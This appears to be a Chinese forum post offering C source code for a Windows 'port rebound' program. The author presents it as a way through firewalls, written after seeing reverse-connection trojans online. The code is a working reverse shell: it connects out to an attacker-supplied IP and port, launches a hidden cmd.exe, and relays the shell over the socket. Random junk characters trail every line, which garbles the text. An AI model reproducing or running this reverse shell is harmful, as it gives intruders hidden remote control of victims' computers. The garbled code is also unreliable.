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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M=y0PCD  
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/* ============================== \M(* =5  
Rebound port in Windows NT M)!skU   
By wind,2006/7 !QEL"iJ6M'  
===============================*/ ^bUxLa[.  
#include B9X8  
#include 7>i2OBkAhB  
NQ9Ojj{#  
#pragma comment(lib,"wsock32.lib") w#(RW7":F  
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void OutputShell(); b2 kWjg.4  
SOCKET sClient; z^W$%G  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l#bAl/c`  
5PZN^\^  
void main(int argc,char **argv) ?znSx}t  
{ `cr(wdvI  
WSADATA stWsaData; lIf(6nm@  
int nRet; ^0tw%6:  
SOCKADDR_IN stSaiClient,stSaiServer; v-`h>J!Nx  
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if(argc != 3) 9"sDm}5%  
{ 0a2@b"l  
printf("Useage:\n\rRebound DestIP DestPort\n"); .Q>!B?)  
return; VC-;S7k  
} ^# e~g/  
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WSAStartup(MAKEWORD(2,2),&stWsaData); :reTJQwr  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [@"wd_f{l  
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stSaiClient.sin_family = AF_INET; u&]vd /  
stSaiClient.sin_port = htons(0); |n6Eg9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x &=9P e(  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \u{8Bak0  
{ @CQb[!9C  
printf("Bind Socket Failed!\n"); =P^wh  
return; 5bX6#5uP1  
} ii4B?E  
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stSaiServer.sin_family = AF_INET; X-JV'KE}^z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w1|Hy2D`0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MZv\ C  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  Mm= Mz  
{ {3edTu  
printf("Connect Error!"); .~klG&>aV  
return; c[cAUsk i  
} :q+N&j'3  
OutputShell(); uS5o?fg\e  
} j9y3hQ+q  
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void OutputShell() #a9_~\s  
{ t\R; < x  
char szBuff[1024]; RiFw?Q+  
SECURITY_ATTRIBUTES stSecurityAttributes; TbhH&kG)1  
OSVERSIONINFO stOsversionInfo; ;+Y i.Q/\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MagMZR  
STARTUPINFO stStartupInfo; 8cVzFFQP  
char *szShell; wH6u5*$p  
PROCESS_INFORMATION stProcessInformation; ~&VN_;j_  
unsigned long lBytesRead; v}uJtBG(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IazkdJX~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z(Q2Ue;}&  
stSecurityAttributes.lpSecurityDescriptor = 0; \t.}-u<7{  
stSecurityAttributes.bInheritHandle = TRUE; TEVI'%F  
' UMFS  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ruaur]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8{I"q[GZ  
rT7^-B*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Un@\kAY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qfL-r,XS`F  
stStartupInfo.wShowWindow = SW_HIDE; d*]Ew=^L  
stStartupInfo.hStdInput = hReadPipe; pyB~M9Bp/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pGWA\}'  
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GetVersionEx(&stOsversionInfo); .;I29yk\XS  
;;&F1@3tBa  
switch(stOsversionInfo.dwPlatformId) y?z\L   
{ \0*l,i1&  
case 1: L-h$Z0]_F  
szShell = "command.com"; oXYMoi  
break; 6rDfQ`f\p  
default: 6Wf^0ok  
szShell = "cmd.exe"; t#b0H)  
break; .p@N:)W6  
} <,8l *1C  
:jem~6i  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4A.Q21s  
VcgBLkIF  
send(sClient,szMsg,77,0); m *X7T  
while(1) %w"nDu2Gcv  
{ Fi;VDK(V9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^Udv]Wh  
if(lBytesRead) ;Ss$2V'a  
{ y{=NP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d#_m.j  
send(sClient,szBuff,lBytesRead,0); Vb4;-?s_  
} f}fsoDoQ=  
else ;!u;!F!i  
{ Kn}ub+ "J  
lBytesRead=recv(sClient,szBuff,1024,0); M'5 'O;kn  
if(lBytesRead<=0) break; :Ml7G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l?E|R Kp  
} 9%DT0.D}$j  
} Np,2j KF(  
=,/D/v$m'2  
return; #$1$T  
}
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